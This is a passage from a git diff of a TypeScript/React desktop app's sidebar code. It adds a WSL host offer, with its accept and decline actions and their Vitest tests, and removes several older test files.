suppresses the aggregate timer row. - cacheTtlMs = useWorktreeCardSecondaryDetails({ - ...secondaryDetailsArgs(makeSettings(300_000)), - compactCards: true - }).cacheTtlMs - return null - } - - mount() - expect(cacheTtlMs).toBe(0) - }) - - it('writes a suppression tombstone when the user unlinks a displayed GitHub PR', async () => { - const updateWorktreeMeta = vi.fn().mockResolvedValue({ ok: true }) - let unlink: (() => Promise) | null = null - function Probe(): null { - const details = useWorktreeCardSecondaryDetails({ - ...secondaryDetailsArgs(makeSettings(300_000)), - worktree: { ...makeWorktree(), hostId: 'ssh:builder' }, - prDisplay: { - provider: 'github', - number: 42, - title: 'Branch PR' - }, - updateWorktreeMeta: updateWorktreeMeta as never - }) - unlink = details.handleUnlinkReview - return null - } - - mount() - await act(() => unlink?.()) - - expect(updateWorktreeMeta).toHaveBeenCalledWith( - WORKTREE_ID, - { linkedPR: null, suppressedGitHubPR: 42 }, - { executionHostId: 'ssh:builder' } - ) - }) - - it('surfaces a failed GitHub unlink after the optimistic card update is reverted', async () => { - const updateWorktreeMeta = vi.fn().mockResolvedValue({ - ok: false, - error: 'Update the remote runtime to unlink GitHub pull requests' - }) - let unlink: (() => Promise) | null = null - function Probe(): null { - const details = useWorktreeCardSecondaryDetails({ - ...secondaryDetailsArgs(makeSettings(300_000)), - prDisplay: { provider: 'github', number: 42, title: 'Branch PR' }, - updateWorktreeMeta: updateWorktreeMeta as never - }) - unlink = details.handleUnlinkReview - return null - } - - mount() - await act(() => unlink?.()) - - expect(mocks.toastError).toHaveBeenCalledWith( - 'Update the remote runtime to unlink GitHub pull requests' - ) - }) it('unlinks the chosen sibling while retaining the selected review and other sources', async () => { const primary: WorkspaceAttachment = { provider: 'github', diff --git a/src/renderer/src/components/sidebar/useAddRepoLocalFolderFlow.test.ts b/src/renderer/src/components/sidebar/useAddRepoLocalFolderFlow.test.ts index c0f988f1e9e..8029bf64be6 100644 --- a/src/renderer/src/components/sidebar/useAddRepoLocalFolderFlow.test.ts +++ b/src/renderer/src/components/sidebar/useAddRepoLocalFolderFlow.test.ts @@ -132,6 +132,38 @@ describe('useAddRepoLocalFolderFlow', () => { expect(onGitRepoReady).toHaveBeenCalledWith('alpha', 'local_folder_picker', 'local') }) + it('holds a single browsed folder the WSL host offer takes, and adds nothing', async () => { + const path = '\\\\wsl.localhost\\Ubuntu\\home\\me\\repo' + pickFolders.mockResolvedValue([path]) + const offerWslHost = vi.fn(() => true) + const { useAddRepoLocalFolderFlow } = await import('./useAddRepoLocalFolderFlow') + + const { handleBrowse } = useAddRepoLocalFolderFlow({ + isOpen: true, + droppedLocalPath: '', + activeRuntimeEnvironmentId: null, + addRepoPath, + openModal, + closeModal, + fetchWorktrees, + scanNestedRepos, + setActiveNestedScanId, + setNestedScanInProgress, + showNestedRepoReview, + onGitRepoReady, + setIsAdding, + setAddProjectBusyLabel, + offerWslHost + }) + + await handleBrowse() + + expect(offerWslHost).toHaveBeenCalledWith(path, 'local_folder_picker') + expect(scanNestedRepos).not.toHaveBeenCalled() + expect(addRepoPath).not.toHaveBeenCalled() + expect(setIsAdding).toHaveBeenLastCalledWith(false) + }) + it('skips nested-review folders in a multi-folder add and continues with git folders', async () => { pickFolders.mockResolvedValue(['/projects/monorepo', '/projects/later']) scanNestedRepos.mockImplementationOnce(async (_path, _connectionId, controls) => { diff --git a/src/renderer/src/components/sidebar/useAddRepoLocalFolderFlow.ts b/src/renderer/src/components/sidebar/useAddRepoLocalFolderFlow.ts index 447229206ac..551de5c986f 100644 --- a/src/renderer/src/components/sidebar/useAddRepoLocalFolderFlow.ts +++ b/src/renderer/src/components/sidebar/useAddRepoLocalFolderFlow.ts @@ -17,6 +17,7 @@ import { translate } from '@/i18n/i18n' import { worktreeRefreshOptions } from './add-repo-runtime-owner' import type { ExecutionHostId } from '../../../../shared/execution-host' import { addRepoBusyLabels } from './add-repo-busy-labels' +import { showSkippedBatchFoldersToast } from './add-repo-skipped-folders-toast' type LocalPathAddResult = | { status: 'completed'; repo: Repo } @@ -38,7 +39,8 @@ export function useAddRepoLocalFolderFlow({ showNestedRepoReview, onGitRepoReady, setIsAdding, - setAddProjectBusyLabel + setAddProjectBusyLabel, + offerWslHost }: { isOpen: boolean droppedLocalPath: string @@ -58,6 +60,8 @@ export function useAddRepoLocalFolderFlow({ ) => Promise setIsAdding: (isAdding: boolean) => void setAddProjectBusyLabel: (label: string | null) => void + /** True when it held this single local path to offer running its WSL distro as a host. */ + offerWslHost?: (path: string, source: AddRepoExistingWorkspaceSource) => boolean }): { handleBrowse: () => Promise resetLocalFolderFlow: () => void @@ -254,18 +258,7 @@ export function useAddRepoLocalFolderFlow({ return } if (skippedCount > 0) { - toast.info( - translate( - 'auto.components.sidebar.useAddRepoLocalFolderFlow.skippedBatchFolders', - 'Some folders were skipped' - ), - { - description: translate( - 'auto.components.sidebar.useAddRepoLocalFolderFlow.skippedBatchFoldersDescription', - 'Add skipped folders individually to review or confirm them.' - ) - } - ) + showSkippedBatchFoldersToast() } if (shouldDeferGitRepoReady && gitRepoIds.length > 0) { await onGitRepoReady( @@ -286,8 +279,10 @@ export function useAddRepoLocalFolderFlow({ return } droppedLocalPathHandledRef.current = droppedLocalPath - void handleAddLocalPath(droppedLocalPath, 'local_folder_picker') - }, [droppedLocalPath, handleAddLocalPath, isOpen]) + if (!offerWslHost?.(droppedLocalPath, 'local_folder_picker')) { + void handleAddLocalPath(droppedLocalPath, 'local_folder_picker') + } + }, [droppedLocalPath, handleAddLocalPath, isOpen, offerWslHost]) const handleBrowse = useCallback(async (): Promise => { const gen = ++localAddGenRef.current @@ -298,6 +293,9 @@ export function useAddRepoLocalFolderFlow({ if (paths.length === 0 || gen !== localAddGenRef.current) { return } + if (paths.length === 1 && offerWslHost?.(paths[0], 'local_folder_picker')) { + return + } await handleAddLocalPaths(paths, 'local_folder_picker', gen) } finally { if (gen === localAddGenRef.current) { @@ -306,7 +304,7 @@ export function useAddRepoLocalFolderFlow({ setAddProjectBusyLabel(null) } } - }, [clearNestedScanState, handleAddLocalPaths, setAddProjectBusyLabel, setIsAdding]) + }, [clearNestedScanState, handleAddLocalPaths, offerWslHost, setAddProjectBusyLabel, setIsAdding]) return { handleBrowse, resetLocalFolderFlow, handleAddLocalPath } } diff --git a/src/renderer/src/components/sidebar/workspace-reference-refresh-targets.test.ts b/src/renderer/src/components/sidebar/workspace-reference-refresh-targets.test.ts index 557b5ffaaa1..d4a1aeb864e 100644 --- a/src/renderer/src/components/sidebar/workspace-reference-refresh-targets.test.ts +++ b/src/renderer/src/components/sidebar/workspace-reference-refresh-targets.test.ts @@ -1,7 +1,7 @@ // @vitest-environment happy-dom import { afterEach, beforeEach, expect, it, vi } from 'vitest' import { useAppStore } from '@/store' -import { makeDetectedResult } from '@/store/slices/worktrees-detected-listing-fixtures' + import { createVisibleHostedReviewRefreshScheduler } from '@/store/github/visible-hosted-review-refresh-scheduler' import { getHostedReviewCacheKey } from '@/store/slices/hosted-review-cache-identity' import { getWorkspaceReferenceRefreshTargets } from './workspace-reference-refresh-targets' @@ -173,13 +173,3 @@ it('retains both explicit owners when equal visible workspace IDs exist on two h getWorkspaceReferenceRefreshTargets(useAppStore.getState(), { selectedOnly: true }) ).toHaveLength(1) }) - -it('admits attached reviews on visible external detected worktrees', () => { - useAppStore.setState({ - worktreesByRepo: {}, - detectedWorktreesByRepo: { - repo: makeDetectedResult('repo', [workspace]) - } - }) - expect(update()).toHaveLength(1) -}) diff --git a/src/renderer/src/components/sidebar/worktree-agent-rows-subscriptions.bench.test.tsx b/src/renderer/src/components/sidebar/worktree-agent-rows-subscriptions.bench.test.tsx deleted file mode 100644 index c3ee27bb9e5..00000000000 --- a/src/renderer/src/components/sidebar/worktree-agent-rows-subscriptions.bench.test.tsx +++ /dev/null @@ -1,132 +0,0 @@ -// @vitest-environment happy-dom -import { act } from 'react' -import { createRoot } from 'react-dom/client' -import { writeFileSync } from 'node:fs' -import { expect, it } from 'vitest' -import { useAppStore } from '@/store' -import { readStoreListenerCount } from '@/store/store-listener-census' -import { makeTab } from '@/store/slices/store-test-helpers' -import { makePaneKey } from '../../../../shared/stable-pane-id' -import type { AgentStatusEntry } from '../../../../shared/agent-status-types' -import { useWorktreeAgentRows } from './useWorktreeAgentRows' -import { useShallow } from 'zustand/react/shallow' -import { selectAgentRowsUnread } from './worktree-card-agent-ack-inputs' - -Reflect.set(globalThis, 'IS_REACT_ACT_ENVIRONMENT', true) - -type Round = { elapsedMs: number; cpuMs: number; renders: number } -type Result = { active: boolean; listeners: number; rounds: Round[] } - -const LEAF = '11111111-1111-4111-8111-111111111111' -const CARDS = Number(process.env.ORCA_BENCH_CARDS ?? 100) -const WRITES = Number(process.env.ORCA_BENCH_WRITES ?? 500) - -it.skipIf(!process.env.ORCA_AGENT_ROWS_BENCH)( - 'measures mounted agent row subscriptions', - () => { - const original = useAppStore.getState() - const tabsByWorktree = Object.fromEntries( - Array.from({ length: CARDS }, (_, index) => { - const worktreeId = `wt-${index}` - return [worktreeId, [makeTab({ id: `tab-${index}`, worktreeId })]] - }) - ) - const entries: Record = {} - for (let index = 0; index < CARDS; index += 1) { - const paneKey = makePaneKey(`tab-${index}`, LEAF) - entries[paneKey] = { - paneKey, - tabId: `tab-${index}`, - worktreeId: `wt-${index}`, - state: 'working', - agentType: 'claude', - prompt: 'Do work', - updatedAt: Date.now(), - stateStartedAt: Date.now(), - stateHistory: [] - } - } - useAppStore.setState({ - tabsByWorktree, - agentStatusByPaneKey: entries, - unifiedTabsByWorktree: {}, - runtimePaneTitlesByTabId: {}, - ptyIdsByTabId: {}, - terminalLayoutsByTabId: {}, - retainedAgentsByPaneKey: {}, - runtimeAgentOrchestrationByPaneKey: {}, - paneForegroundAgentByPaneKey: {} - }) - const container = document.createElement('div') - document.body.appendChild(container) - const root = createRoot(container) - const results: Result[] = [] - try { - // A visible compact card uses both hooks; hidden details keep only the inactive hook. - for (const active of [true, false]) { - let renders = 0 - function VisibleProbe({ index }: { index: number }) { - const rows = useWorktreeAgentRows(`wt-${index}`, true) - useWorktreeAgentRows(`wt-${index}`, false) - useAppStore(useShallow((state) => selectAgentRowsUnread(state, rows))) - renders += 1 - return null - } - function HiddenProbe({ index }: { index: number }) { - useWorktreeAgentRows(`wt-${index}`, false) - renders += 1 - return null - } - const Probe = active ? VisibleProbe : HiddenProbe - const baselineListeners = readStoreListenerCount() ?? 0 - act(() => - root.render( - Array.from({ length: CARDS }, (_, index) => ) - ) - ) - const listeners = (readStoreListenerCount() ?? 0) - baselineListeners - const rounds: Round[] = [] - for (let round = 0; round < 6; round += 1) { - const beforeRenders = renders - const cpuStart = process.cpuUsage() - const start = performance.now() - for (let index = 0; index < WRITES; index += 1) { - const key = makePaneKey(`tab-${index % CARDS}`, LEAF) - act(() => { - const previous = useAppStore.getState().agentStatusByPaneKey - useAppStore.setState({ - agentStatusByPaneKey: { - ...previous, - [key]: { ...previous[key], updatedAt: Date.now(), toolName: `tool-${index}` } - } - }) - }) - } - const elapsedMs = performance.now() - start - const cpu = process.cpuUsage(cpuStart) - expect(renders - beforeRenders).toBe(active ? WRITES : 0) - if (round > 0) { - rounds.push({ - elapsedMs, - cpuMs: (cpu.user + cpu.system) / 1000, - renders: renders - beforeRenders - }) - } - } - results.push({ active, listeners, rounds }) - act(() => root.render(null)) - expect(readStoreListenerCount()).toBe(baselineListeners) - } - const report = { cards: CARDS, writes: WRITES, results } - console.log(JSON.stringify(report)) - if (process.env.ORCA_BENCH_OUTPUT) { - writeFileSync(process.env.ORCA_BENCH_OUTPUT, `${JSON.stringify(report, null, 2)}\n`) - } - } finally { - act(() => root.unmount()) - container.remove() - useAppStore.setState(original, true) - } - }, - 120_000 -) diff --git a/src/renderer/src/components/sidebar/worktree-visibility-source-provenance.test.ts b/src/renderer/src/components/sidebar/worktree-visibility-source-provenance.test.ts deleted file mode 100644 index ad22d49f74d..00000000000 --- a/src/renderer/src/components/sidebar/worktree-visibility-source-provenance.test.ts +++ /dev/null @@ -1,129 +0,0 @@ -import { describe, expect, it, vi } from 'vitest' -import type { WorktreeVisibilityDefaults } from '../../../../shared/global-settings-types' -import type { Repo } from '../../../../shared/repo-types' - -vi.mock('@/i18n/i18n', () => ({ - translate: (_key: string, fallback: string, values?: Record) => - values - ? fallback.replace(/\{\{(\w+)\}\}/g, (_match, name: string) => String(values[name] ?? '')) - : fallback -})) - -const { - getWorktreeVisibilityOverrideNotice, - getWorktreeVisibilitySourceNote, - getWorktreeVisibilitySourceProvenance, - listInheritedWorktreeVisibilitySources -} = await import('./worktree-visibility-source-provenance') - -function repo(overrides: Partial = {}): Repo { - return { - id: 'repo-1', - path: '/repo', - displayName: 'orca', - badgeColor: '#000000', - addedAt: 0, - externalWorktreeVisibility: undefined, - ...overrides - } -} - -const shownClaude: WorktreeVisibilityDefaults = { - external: 'hide', - sourcePreferences: { builtIn: { claude: 'show' } } -} - -const NO_REPO_SOURCES: ReadonlySet = new Set() - -function provenanceFor(target: Repo, defaults: WorktreeVisibilityDefaults) { - return getWorktreeVisibilitySourceProvenance( - target, - { kind: 'built-in', id: 'claude' }, - defaults, - NO_REPO_SOURCES - ) -} - -describe('listInheritedWorktreeVisibilitySources', () => { - it('reports what each inheritable source is set to globally', () => { - expect(listInheritedWorktreeVisibilitySources(repo(), shownClaude)).toEqual([ - { source: { kind: 'built-in', id: 'claude' }, globalVisibility: 'show' }, - { source: { kind: 'built-in', id: 'gsd' }, globalVisibility: 'hide' }, - { source: { kind: 'other' }, globalVisibility: 'hide' } - ]) - }) - - it('keeps a source the project has overridden, since global is what it overrode', () => { - const overridden = listInheritedWorktreeVisibilitySources( - repo({ worktreeVisibilitySourcePreferences: { builtIn: { claude: 'hide' } } }), - shownClaude - ) - expect(overridden[0]).toEqual({ - source: { kind: 'built-in', id: 'claude' }, - globalVisibility: 'show' - }) - }) - - it('lists a global custom source but not one the project added itself', () => { - const listed = listInheritedWorktreeVisibilitySources( - repo({ customWorktreeVisibilitySources: [{ id: 'local', rootPath: '/srv/local' }] }), - { - external: 'hide', - customSources: [{ id: 'team', rootPath: '/srv/team' }], - sourcePreferences: { custom: { team: 'show' } } - } - ) - expect(listed.map(({ source }) => source)).toContainEqual({ - kind: 'custom', - source: { id: 'team', rootPath: '/srv/team' } - }) - expect( - listed.some(({ source }) => source.kind === 'custom' && source.source.id === 'local') - ).toBe(false) - }) -}) - -describe('getWorktreeVisibilityOverrideNotice', () => { - it('names the global value a project override is ignoring', () => { - const provenance = provenanceFor( - repo({ worktreeVisibilitySourcePreferences: { builtIn: { claude: 'hide' } } }), - shownClaude - ) - expect(getWorktreeVisibilityOverrideNotice(provenance, 'hide')).toBe( - 'Overriding global setting: Show' - ) - }) - - it('stays quiet for an override that agrees with global settings', () => { - // Why: a legacy repo materializes an override on every source, most of which change nothing. - const provenance = provenanceFor(repo({ agentWorktreeVisibility: 'show' }), shownClaude) - expect(provenance?.kind).toBe('project-override') - expect(getWorktreeVisibilityOverrideNotice(provenance, 'show')).toBeNull() - }) - - it('stays quiet for a source that is still following global settings', () => { - expect( - getWorktreeVisibilityOverrideNotice(provenanceFor(repo(), shownClaude), 'show') - ).toBeNull() - }) - - it('stays quiet outside a project scope', () => { - expect(getWorktreeVisibilityOverrideNotice(null, 'show')).toBeNull() - }) -}) - -describe('getWorktreeVisibilitySourceNote', () => { - it('marks a source the project added itself', () => { - const provenance = getWorktreeVisibilitySourceProvenance( - repo({ customWorktreeVisibilitySources: [{ id: 'local', rootPath: '/srv/local' }] }), - { kind: 'custom', source: { id: 'local', rootPath: '/srv/local' } }, - { external: 'hide' }, - new Set(['local']) - ) - expect(getWorktreeVisibilitySourceNote(provenance)).toBe('Added in this project only.') - }) - - it('says nothing for an inherited source', () => { - expect(getWorktreeVisibilitySourceNote(provenanceFor(repo(), shownClaude))).toBeNull() - }) -}) diff --git a/src/renderer/src/components/sidebar/wsl-host-offer-actions.ts b/src/renderer/src/components/sidebar/wsl-host-offer-actions.ts new file mode 100644 index 00000000000..6590762f819 --- /dev/null +++ b/src/renderer/src/components/sidebar/wsl-host-offer-actions.ts @@ -0,0 +1,54 @@ +import type { AddRepoExistingWorkspaceSource } from '../../../../shared/telemetry-events' +import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { WslHostAddResult } from '../../../../shared/wsl-host-types' + +export type WslHostOffer = { + path: string + distro: string + source: AddRepoExistingWorkspaceSource +} + +export type WslHostOfferDeps = { + /** The setting before Accept, restored when the host add fails. */ + readWslHostsSetting: () => boolean + updateSettings: (updates: Partial) => Promise + addWslHost: (args: { distro: string; startIfStopped: boolean }) => Promise + addLocalPath: (path: string, source: AddRepoExistingWorkspaceSource) => Promise +} + +/** + * Turns WSL hosts on, adds the distro, then adds the project as before: opening it is what lets + * the existing automatic move carry it onto the new host. Returns the refusal when the add fails. + */ +export async function acceptWslHostOffer( + offer: WslHostOffer, + deps: WslHostOfferDeps +): Promise | null> { + const previous = deps.readWslHostsSetting() + // Left on after a failure, a later "Add on this computer" would still be auto-moved. + const restore = (): Promise => deps.updateSettings({ experimentalWslHosts: previous }) + let result: WslHostAddResult + try { + await deps.updateSettings({ experimentalWslHosts: true }) + // Accepting is the user's ask to run this distro, so a stopped one may start. + result = await deps.addWslHost({ distro: offer.distro, startIfStopped: true }) + } catch (cause) { + await restore() + throw cause + } + if (!result.ok && result.kind !== 'already-added') { + await restore() + return result + } + await deps.addLocalPath(offer.path, offer.source) + return null +} + +/** Adds the project as before, and never offers again. */ +export async function declineWslHostOffer( + offer: WslHostOffer, + deps: Pick +): Promise { + await deps.updateSettings({ wslHostOfferDismissed: true }) + await deps.addLocalPath(offer.path, offer.source) +} diff --git a/src/renderer/src/components/sidebar/wsl-host-offer.test.ts b/src/renderer/src/components/sidebar/wsl-host-offer.test.ts new file mode 100644 index 00000000000..bc4c84bf13d --- /dev/null +++ b/src/renderer/src/components/sidebar/wsl-host-offer.test.ts @@ -0,0 +1,188 @@ +import { afterEach, describe, expect, it, vi } from 'vitest' +import { + readWslHostOfferGate, + shouldOfferWslHost, + wslHostOfferDistro, + wslHostOfferFor, + type WslHostOfferGate +} from './wsl-host-offer' +import type { WslHostAddResult } from '../../../../shared/wsl-host-types' +import type { GlobalSettings } from '../../../../shared/global-settings-types' +import { + acceptWslHostOffer, + declineWslHostOffer, + type WslHostOffer +} from './wsl-host-offer-actions' + +const open: WslHostOfferGate = { gateOpen: true, settingOn: false, dismissed: false } + +describe('wslHostOfferDistro', () => { + it.each([ + ['\\\\wsl.localhost\\Ubuntu\\home\\me\\repo', 'Ubuntu'], + ['\\\\wsl$\\Debian\\home\\me\\repo', 'Debian'], + ['\\\\WSL.LOCALHOST\\Ubuntu-22.04\\srv', 'Ubuntu-22.04'], + ['\\\\WSL$\\Arch', 'Arch'], + ['//wsl.localhost/Ubuntu/home/me', 'Ubuntu'] + ])('reads the distro from %s', (path, distro) => { + expect(wslHostOfferDistro(path)).toBe(distro) + }) + + it.each([ + 'C:\\Users\\me\\repo', + '\\\\server\\share\\repo', + '\\\\wsl.localhostx\\Ubuntu\\repo', + '/home/me/repo', + '/mnt/c/Users/me', + '' + ])('offers nothing for %s', (path) => { + expect(wslHostOfferDistro(path)).toBeNull() + }) +}) + +describe('shouldOfferWslHost', () => { + const cases: [WslHostOfferGate, boolean][] = [] + for (const gateOpen of [true, false]) { + for (const settingOn of [true, false]) { + for (const dismissed of [true, false]) { + cases.push([{ gateOpen, settingOn, dismissed }, gateOpen && !settingOn && !dismissed]) + } + } + } + + it.each(cases)('%o offers: %s', (gate, expected) => { + expect(shouldOfferWslHost(gate)).toBe(expected) + }) + + it('offers only for a WSL path once visible', () => { + expect(wslHostOfferFor('\\\\wsl$\\Ubuntu\\repo', open)).toBe('Ubuntu') + expect(wslHostOfferFor('C:\\repo', open)).toBeNull() + expect(wslHostOfferFor('\\\\wsl$\\Ubuntu\\repo', { ...open, dismissed: true })).toBeNull() + }) +}) + +describe('readWslHostOfferGate', () => { + afterEach(() => vi.unstubAllGlobals()) + const state = { + settings: null, + wslHostsAcceptNewWork: true, + wslHostServerFiles: 'present' as const + } + + it('is closed where the preload offers no WSL hosts (not Windows, or gate closed)', () => { + vi.stubGlobal('window', { api: { runtimeEnvironments: {} } }) + expect(readWslHostOfferGate(state).gateOpen).toBe(false) + }) + + it('is open with WSL hosts available, accepting new work and shipped server files', () => { + vi.stubGlobal('window', { api: { runtimeEnvironments: { wslHosts: {} } } }) + expect(readWslHostOfferGate(state)).toEqual({ + gateOpen: true, + settingOn: false, + dismissed: false + }) + expect(readWslHostOfferGate({ ...state, wslHostsAcceptNewWork: false }).gateOpen).toBe(false) + expect(readWslHostOfferGate({ ...state, wslHostServerFiles: 'missing' }).gateOpen).toBe(false) + }) + + it('reads the setting and the dismissal from settings', () => { + vi.stubGlobal('window', { api: { runtimeEnvironments: { wslHosts: {} } } }) + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the gate reads only these two settings. + const settings = { experimentalWslHosts: true, wslHostOfferDismissed: true } as GlobalSettings + expect(readWslHostOfferGate({ ...state, settings })).toMatchObject({ + settingOn: true, + dismissed: true + }) + }) +}) + +describe('offer actions', () => { + const offer: WslHostOffer = { + path: '\\\\wsl.localhost\\Ubuntu\\home\\me\\repo', + distro: 'Ubuntu', + source: 'local_folder_picker' + } + + function deps(addResult: WslHostAddResult) { + const calls: string[] = [] + const acceptDeps = { + readWslHostsSetting: () => false, + updateSettings: vi.fn(async (updates: Partial) => { + calls.push(`settings ${JSON.stringify(updates)}`) + }), + addWslHost: vi.fn(async (args: { distro: string; startIfStopped: boolean }) => { + calls.push(`host ${args.distro}`) + return addResult + }), + addLocalPath: vi.fn(async (path: string) => { + calls.push(`project ${path}`) + }) + } + return { calls, acceptDeps } + } + + it('accept turns hosts on, adds the distro, then adds the project', async () => { + const { calls, acceptDeps: d } = deps({ ok: true, environmentId: 'wsl:ubuntu' }) + expect(await acceptWslHostOffer(offer, d)).toBeNull() + expect(calls).toEqual([ + 'settings {"experimentalWslHosts":true}', + 'host Ubuntu', + `project ${offer.path}` + ]) + }) + + it('accept goes on when the distro is already a host', async () => { + const { acceptDeps: d } = deps({ ok: false, kind: 'already-added', message: 'x' }) + expect(await acceptWslHostOffer(offer, d)).toBeNull() + expect(d.addLocalPath).toHaveBeenCalledOnce() + }) + + it('accept stops, restores the setting and returns a refusal without adding the project', async () => { + const refusal = { ok: false as const, kind: 'unsupported-wsl1' as const, message: 'wsl1' } + const { calls, acceptDeps: d } = deps(refusal) + expect(await acceptWslHostOffer(offer, d)).toEqual(refusal) + expect(d.addLocalPath).not.toHaveBeenCalled() + expect(calls).toEqual([ + 'settings {"experimentalWslHosts":true}', + 'host Ubuntu', + 'settings {"experimentalWslHosts":false}' + ]) + }) + + it('accept restores the setting when the host add throws', async () => { + const { calls, acceptDeps: d } = deps({ ok: true, environmentId: 'unused' }) + d.addWslHost.mockRejectedValueOnce(new Error('ipc gone')) + await expect(acceptWslHostOffer(offer, d)).rejects.toThrow('ipc gone') + expect(d.addLocalPath).not.toHaveBeenCalled() + expect(calls).toEqual([ + 'settings {"experimentalWslHosts":true}', + 'settings {"experimentalWslHosts":false}' + ]) + }) + + it('a decline after a failed accept leaves the setting as it was', async () => { + const refusal = { ok: false as const, kind: 'failed' as const, message: 'no' } + const { acceptDeps: d } = deps(refusal) + await acceptWslHostOffer(offer, d) + await declineWslHostOffer(offer, d) + expect(d.updateSettings).toHaveBeenLastCalledWith({ wslHostOfferDismissed: true }) + expect(d.updateSettings.mock.calls.map(([u]) => u)).toEqual([ + { experimentalWslHosts: true }, + { experimentalWslHosts: false }, + { wslHostOfferDismissed: true } + ]) + }) + + it('restores a setting that was already on', async () => { + const { acceptDeps: d } = deps({ ok: false, kind: 'failed', message: 'no' }) + d.readWslHostsSetting = () => true + await acceptWslHostOffer(offer, d) + expect(d.updateSettings).toHaveBeenLastCalledWith({ experimentalWslHosts: true }) + }) + + it('decline remembers the choice and adds the project as before', async () => { + const { calls, acceptDeps: d } = deps({ ok: true, environmentId: 'unused' }) + await declineWslHostOffer(offer, d) + expect(calls).toEqual(['settings {"wslHostOfferDismissed":true}', `project ${offer.path}`]) + expect(d.addWslHost).not.toHaveBeenCalled() + }) +}) diff --git a/src/renderer/src/components/sidebar/wsl-host-offer.ts b/src/renderer/src/components/sidebar/wsl-host-offer.ts new file mode 100644 index 00000000000..858c1b9149e --- /dev/null +++ b/src/renderer/src/components/sidebar/wsl-host-offer.ts @@ -0,0 +1,35 @@ +import { parseWslUncPath } from '../../../../shared/wsl-paths' +import type { AppState } from '@/store/types' +import { wslHostsAvailable } from './use-wsl-hosts-enabled' + +export type WslHostOfferGate = { + /** WSL hosts can take new work here: Windows (or its e2e fake), gate open, server files shipped. */ + gateOpen: boolean + settingOn: boolean + dismissed: boolean +} + +/** The distro a `\\wsl.localhost\\…` or `\\wsl$\\…` path names; never asks WSL. */ +export function wslHostOfferDistro(path: string): string | null { + return parseWslUncPath(path)?.distro ?? null +} + +export function shouldOfferWslHost(gate: WslHostOfferGate): boolean { + return gate.gateOpen && !gate.settingOn && !gate.dismissed +} + +export function readWslHostOfferGate( + state: Pick +): WslHostOfferGate { + return { + gateOpen: + wslHostsAvailable() && state.wslHostsAcceptNewWork && state.wslHostServerFiles !== 'missing', + settingOn: state.settings?.experimentalWslHosts === true, + dismissed: state.settings?.wslHostOfferDismissed === true + } +} + +/** The distro to offer for `path`, or null where the add goes ahead as before. */ +export function wslHostOfferFor(path: string, gate: WslHostOfferGate): string | null { + return shouldOfferWslHost(gate) ? wslHostOfferDistro(path) : null +} diff --git a/src/renderer/src/components/sidebar/wsl-host-removal.test.ts b/src/renderer/src/components/sidebar/wsl-host-removal.test.ts deleted file mode 100644 index e7a0d05ade6..00000000000 --- a/src/renderer/src/components/sidebar/wsl-host-removal.test.ts +++ /dev/null @@ -1,116 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' - -const mocks = vi.hoisted(() => { - const workspace: { activeWorktreeId: string | null; ownerHostId: string | null } = { - activeWorktreeId: null, - ownerHostId: null - } - return { - warning: vi.fn(), - info: vi.fn(), - setRuntimeEnvironments: vi.fn(), - setActiveWorktree: vi.fn(), - workspace - } -}) - -vi.mock('sonner', () => ({ toast: { warning: mocks.warning, info: mocks.info } })) -vi.mock('@/store', () => ({ - useAppStore: { - getState: () => ({ - activeWorktreeId: mocks.workspace.activeWorktreeId, - setActiveWorktree: mocks.setActiveWorktree, - setRuntimeEnvironments: mocks.setRuntimeEnvironments - }) - } -})) -vi.mock('@/lib/workspace-row-owner-host', () => ({ - workspaceOwnerHostId: () => mocks.workspace.ownerHostId -})) - -import { removeWslHost } from './wsl-host-removal' - -function stubApi(result: unknown): ReturnType { - const remove = vi.fn(async () => result) - vi.stubGlobal('window', { - api: { runtimeEnvironments: { list: async () => [], wslHosts: { remove } } } - }) - return remove -} - -afterEach(() => { - vi.unstubAllGlobals() -}) - -describe('removeWslHost', () => { - beforeEach(() => { - mocks.warning.mockReset() - mocks.info.mockReset() - mocks.setRuntimeEnvironments.mockReset() - mocks.setActiveWorktree.mockReset() - mocks.workspace.activeWorktreeId = null - mocks.workspace.ownerHostId = null - }) - - it('says the host keeps running when another Orca on this computer shares it', async () => { - stubApi({ stopped: true, keptForOtherDesktops: ['Orca Dev'] }) - await removeWslHost('wsl:ubuntu') - expect(mocks.info).toHaveBeenCalledWith( - 'Removed from this Orca. The host keeps running for Orca Dev.' - ) - expect(mocks.warning).not.toHaveBeenCalled() - }) - - it('names several unnamed peers once', async () => { - stubApi({ stopped: true, keptForOtherDesktops: ['another Orca', 'another Orca', 'Orca Dev'] }) - await removeWslHost('wsl:ubuntu') - expect(mocks.info).toHaveBeenCalledWith( - 'Removed from this Orca. The host keeps running for another Orca, Orca Dev.' - ) - }) - - it('removes quietly when the server, its daemon and terminals all ended', async () => { - const remove = stubApi({ stopped: true }) - await removeWslHost('wsl:ubuntu') - expect(remove).toHaveBeenCalledWith({ environmentId: 'wsl:ubuntu' }) - expect(mocks.setRuntimeEnvironments).toHaveBeenCalledWith([]) - expect(mocks.warning).not.toHaveBeenCalled() - expect(mocks.setActiveWorktree).not.toHaveBeenCalled() - }) - - it('leaves the active workspace when it lived on the removed host', async () => { - stubApi({ stopped: true }) - mocks.workspace.activeWorktreeId = 'repo::/home/me/app' - mocks.workspace.ownerHostId = 'runtime:wsl%3Aubuntu' - await removeWslHost('wsl:ubuntu') - expect(mocks.setActiveWorktree).toHaveBeenCalledWith(null) - - mocks.setActiveWorktree.mockReset() - mocks.workspace.ownerHostId = 'local' - await removeWslHost('wsl:ubuntu') - expect(mocks.setActiveWorktree).not.toHaveBeenCalled() - }) - - it('says what is still running in the distro, and keeps saying it until dismissed', async () => { - stubApi({ stopped: false, reason: '1 terminal kept running, so Orca left the server running.' }) - await removeWslHost('wsl:ubuntu') - expect(mocks.warning).toHaveBeenCalledWith( - 'The host was removed, but something in the distro is still running: 1 terminal kept running, so Orca left the server running.', - { duration: Infinity } - ) - }) - - it('says the host stays, and why, when its stop is pending', async () => { - stubApi({ - stopped: false, - reason: 'Start Ubuntu to finish removing it.', - verdict: 'unverifiable', - kept: true - }) - await removeWslHost('wsl:ubuntu') - expect(mocks.warning).toHaveBeenCalledExactlyOnceWith( - 'Orca didn’t remove the host yet: Start Ubuntu to finish removing it. Remove it again to retry, or connect it to keep it.', - { duration: Infinity } - ) - }) -}) diff --git a/src/renderer/src/components/skills/SkillFreshnessNudge.test.tsx b/src/renderer/src/components/skills/SkillFreshnessNudge.test.tsx index 626fbf0dd06..d1a40468828 100644 --- 